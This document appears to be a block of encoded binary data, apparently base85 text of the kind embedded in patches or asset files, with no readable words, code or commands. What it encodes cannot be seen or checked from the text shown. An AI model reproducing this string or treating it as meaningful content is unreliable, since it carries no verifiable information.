zHQfV}S?%h~P{dc2aQDtf6t4R4`mpS9vN4r#bX;b?8PO}wM0@h;FKw#!nfjBU=S?_o zeh?5mQ~kpG>GOH`al{oBB(F<^77;qM)J%%ow5@;^9ybx@!&~i%kd))yT~}FW*Ph03sVZxqQeb&m%gE$ZGG|HQ605>dCF@7446;@KOT7tD0UMyiMW z!8Km~cg8_80=NpKyNu*4m>%9+FyF~r2_iNX_V%QbDL~v9k_&Q*v^L4zBCr zESuMqTS920(@4%ROSHkzgIs`uic-y#dY`DUMD}M^&IJVI%%(BuH@`&7&kGgD7l>bs zIYF?GeRo>*{K}i!@1&-J71PU5mM%&0s-FBCW943QI!(@%wIJTCwiYq4^13!pv?uh< z%J5X(7%y(Mi+-pU%qQ|zeohDZ@24e@Uy&Hl=_^6_21JWW&TmB%l9PMLLDOdcv`RCX zq5|5Cun%(`YAC4st)c$Ol10hZr0Q`(@)+BMf2le6x4zsSXzUCao}R=aF8@gu0(JaE z>k<|f#cBj`De_1-(p1+@nU{%)O-WhZz{c90C*QFMCSGDS9qF}rrHW$OFU zoDgIkPfic!wp@sNfiNfs`4H3OwJu}_G)pbi8+l=Aw(kKcUh&AAslikvuYt$A0$V3; zd^|m(mh^CPP;6j8`^|L5rVIF?9kS}nXTowAT~)MwGePIAld&%_t(G6={%L-rM^qM=59!)N`bxBhxLE6)w~T>vqE+MK1S6TpKtJ zSt<>`sDxtI%X-=|bfY3N_wjw39fa3>+f(l>$MXICh*qd3Jj34U)v*`Gf}BK7nfhDE z7R=FkH%*9NCdssf-*>j($f6^fJV~)g=Vkp_P#={enOpc#CeknX`7_1le-B^6=ev`9@t zKQj%Y<%~Z7oNX{B`DI_~7JV=Q?jvDuPcmnpzI?d^KF&up_p9OMuWVE4La#r!&97x# zx>*WBjKOXMX?$Et}}S`DQ#*Hhfyp4%ArVd3EdH8(1KI;gR-mI(NT2g!fk zS^8^|mOPgnZ1)2hkU_;2Zj<^M5Kj}qR;Kr5C!}55Xc~l}LE^%**r)K-J<@@kRQ_{x zlSknUZwp*e6cNxky@O4zpi( z&V>gQ;DMwabmki8rt8<-m}?vF2krsQpaPn3$VpJcpXS(R_c-K^_!nNUqo2%`14}kr zM=9GR9zA>u&l=@TXt{z4k+wRgYt=yMA}|SV5Kx>qC#z6w24CBSo7ap({6bDwKX|oH zMVjY~?qYPGcl>0|MSifj888Fpsjr1Dgkwh#42p-pyPJN4AC-1m@9q|K_cwhh8x0Gp z4`GDrceb3H4-BvAP4XU&qM#GiqU5$3f^9253)CAV=%wD;%|17Inq@2m(OPRy2)NXs z>v9l7v7B;sVFDLGoH`UJO}D(U|E^*1;bBt5wSX24D`JV_6|t%DnvJ%KCtiyW zp2rxN3@3!y;C6@NSFm1#)bcNKOd|6Q0)CUarofFxHpZtGQfVt`LEPR-9<~ehf$uFc z`Qn5jQInk#-?3rOhHtlK^M~r2BUZe3MJ1K}R9W`LST#SoVL_WS@7-a&2nzaCzGL#F zdEDDWf{kHwdfW&`DAYYiYgE2CI(li<$4nIR-5_{t-%^8;#cpCcI$}@%N9t< ziK5?J#!O^=6PuQ++qVJ!s#;Q*!UuiT2u&wkuED7{L&%>uYGVIncdZ6+d1!`%SjG#) zclm}-_zAM{mfpVjJJ#$w*?C7B;G>Le{Nemk)JKf& zDtD~coI2jD^|a61d#Q6Mm#(8@r0 zR^hhgO@uo&D(ou3dBhLQKE{5y&b7x3(RZRMUcCN={nf_o4q;eHmbe)wJ5(0 z;2@i{tzBx)=)TY)G8DRyx8xy(h@pb$XY zUi>q4Q$^o2j3(gxW#`KfNKIkBHOq*;0c@ff?pB$g+Ep-@|`3eVRlq0h-r zNwI@xl(Iq4Ic@RRLKC>@;WE4&ihb9i4?b)d^y$7-Z3NQ8Z(RMTGB7v)YsgNC$X?@y z@~ikHmJ1js@jroA#V-hL0SQ@1@WPs6An#J`Hz)2 zoC99s_Rym900pu4>yx&%`np0WDY9_S8Yec!6ct9g+IvR)(!d`$efGjzIl zu#LGGE+1^|F*#U0mI|dX)ws*VoQvQGa0S@Tz)`t+>0J$2x_3eE%L~>D7kpefUKyXxVhz(? zWV{D6Y5Gw+Rys*spP74k@|)f7MO~y;NjmvR5Mc(Lwk4Kq4? z8f%ehM)Cp-(XH_$k^PKo?By#9@mqL#wwIR@=*!hV;^1aYyZ-FlEDK`P0X}z zom_T9T4ZM0aYIli09}S-N{97M_LY6l_-#s8PZsD`odEP&(h>mc@5$@>jhBT+V7_6E z50%SNW`B5c%e%IDxzn=UVe!R!aWf?g@=-EP=hF(1H&L_-`OKX>9B`TFC3o8&9Os>W)VZT8O8J z30rhp+!7HnNQNWb<61#)(Gk_4(}uJ(6Z31-@`Lp~=f)Q-0Y4V)`URtlXrJL4z|~dOH0S<{Z?i#PS0fO!IloKc>krQM$40HRkfxk zVn$u(l>l7g`BZG16sy{`TZQT9%7%Zr#0md1sw?v>UsK=zsC+MSB#jVs1`v7m-)awE zUa1kImj+b6Uy1Z>m-`14mK|ysc$cJ`e>!?SJKBEayOOyIw#}NYu%Tq^Fg~g}TDW(d z@>9}rUCRI~p`L;`~dd+>ieUJy$@->OBG9_(jN3@~3pdQx)5*^J({$;3=S4e|d;~&hT+EPJQq%UHi zZ=;14-z%Q|h9mDcITUQV+kZm-Sh*``px~a^S`#=uoUx zO((YLm|ggIMU09tMtn0=BYh3+@(L-JgpMF7ltq|>t#7Wf-Pz)eA`3A~=tYd^Tww2auAlpK7IGNBV5FJVDK3dEve}jCLmY-AaPk){edV)cL!bqfk>F<~n_pWQ=kIZ32gnBDqV4v&bagZ)LjZ0QXfJY{la^59i86eMDS%Z=ylj6trB{kwk0YIJE>Ljb- zcXpV!AuIAwljwe0(I9qgdYErYJMWsP6LpiwboyA|01Pj&tt4rUHGMYu{gakkezYDS zUs_#KUPNF&I;6R_k#R-;TPN-<*yX*5UpDSaA2C-Rob}|(&-apCXE-8h%Z(MZ4mo%0 zrZeOpuyBj@UvU!_i}$>)dtQeSxXcTv+n4jSvn+5lA9z{9{KTQ6q7hby!UDu7EX z027YY6B?lb`eyx~{D4~mFZlt0_zNR1iu`{*tKb!;0@P4~+YT?*jPu>HDyz-HeT0fi zq=rKaKED0Pdj7f_jz}v(IqZJ*X8st!Y%?hw9NUFDR$adz-kO>xGAdT%X_1;60ssi5SerYwf8Vj}FDWs) z#LIaL-TLq^l>{|Q4?|OyClnL)0$Qv{kgu3MS@dy*RfhIh(=dw>IL?YcyaMpl#DAJ0 zKQ@cM&6QalFIJ8luW6*^2&g{$@@s$K+QkudO0V+aOSLXrUP^Hn_+kgE$Aq_oc+>YxAflJ)Un-gIr>n(n zfNkA9{NLF+Wx!7YZk?i?xyTC^bJaL`lZXB}?$0VX>KOsdI<#3olxkI9z0IdEvk`j& z5KUXAQ?YIm(ye#Y+*!2TU+zp+g{dsWkKt@WH8E(yi3S=pjfu2+Gaa+m%9$iUWX8>weTk* zU-B(oW!<< zskM0Pdw?&G@xI_En!G%U5jh2`stdQ6+!O}f@@Uox(3*2kKGlMI>*C#S_%E=LD*PE> zNV8&+XU=%Hj}~ZSp9;AQ^-h&zM8^PUhjC~c*E(t-=+OuRVs)#_lm3g=FJzvzq;=g;AF6{rq z+4+CnG&eFcyClHHHT+IUceZGeyuDr2+G>v}G_ar*eADXsR*(;9_1NTsr^zxMM|Vkg z!85X*Po$J+WhwwbhdPMvWBnif1meH+dx`&V2A@woQZ;zHTUy7O+D_;2!~6PL